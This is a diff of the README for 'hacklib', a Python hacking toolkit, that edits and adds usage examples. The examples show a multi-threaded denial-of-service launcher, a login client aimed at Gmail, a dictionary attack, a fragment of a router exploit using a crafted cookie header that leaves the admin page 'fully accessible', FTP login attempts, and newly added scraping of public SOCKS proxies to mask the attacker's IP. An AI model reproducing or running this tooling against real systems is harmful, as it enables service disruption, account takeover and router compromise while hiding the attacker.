@@ -6,7 +6,7 @@ hacklib is a Python module for hacking enthusiasts interested in network securit
66
77#### Examples of Usage
88-
9- Multi-threaded Denial of Service (DOS) Stress-Testing :
9+ Multi-threaded Denial of Service (DOS) stress-testing :
1010``` python
1111import hacklib
1212
@@ -15,7 +15,7 @@ dos = hacklib.DOSer()
1515dos.launch(' 127.0.0.1' , duration = 30 , threads = 50 )
1616```
1717-
18- Universal Login for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
18+ Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
1919
2020``` python
2121import hacklib
@@ -25,13 +25,15 @@ ac = hacklib.AuthClient()
2525htmldata = ac.login(' https://gmail.com' , ' email' , ' password' )
2626
2727# Returns HTML whether login works or not.
28- # If resulting URL is the same, assumes failure and returns False.
29- if htmldata and ' Inbox' in htmldata:
30- print ' Login Success'
28+ try :
29+ if ' Inbox' in htmldata: print ' Login Success.'
30+ else : print ' Login Failed.'
31+ except : print ' Couldn' t even connect. :('
3132
32- # For logins using HTTP Basic Auth, just check boolean:
33- # if htmldata:
34- # print 'Login Success'
33+ # For logins using HTTP Basic Auth:
34+ try :
35+ htmldata = ac.login(' http://somewebsite.com' , ' admin' , ' password' )
36+ except : pass # login failed
3537```
3638Simple Dictionary Attack using AuthClient:
3739```python
@@ -90,7 +92,7 @@ Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
9092# The router's admin page is now fully accessible from any web browser.
9193```
9294-
93- FTP Authentication :
95+ FTP authentication :
9496```python
9597import hacklib
9698ftp = hacklib.FTPAuth(' 127.0.0.1' , 21 )
99101except :
100102 print ' Login failed.'
101103```
104+ -
105+ Socks4/ 5 proxy scraping and tunneling
106+ ```python
107+ >> > import hacklib
108+ >> > import urllib2
109+ # Scrape recently added Socks proxies from the internet
110+ >> > proxylist = hacklib.getProxies()
111+ >> > proxy = hacklib.Proxy()
112+ # Automatically find and connect to a working proxy in proxylist
113+ >> > proxy.connect(proxylist)
114+ >> > proxy.IP
115+ u ' 41.203.214.58'
116+ >> > proxy.port
117+ 65000
118+ >> > proxy.country
119+ u ' KE'
120+ # All Python network activity across all modules are routed through proxy
121+ >> > urllib2.urlopen(' http://icanhazip.com/' ).read()
122+ ' 41.203.214.58\n '
123+ # Notes: Only network activity via Python masked by the proxy.
124+ # Network activity on other programs remain unmasked.
125+ ```
126+ Filter proxies by
127+ # Filtering proxies by country and type:
128+ # proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5'
129+ ```
0 commit comments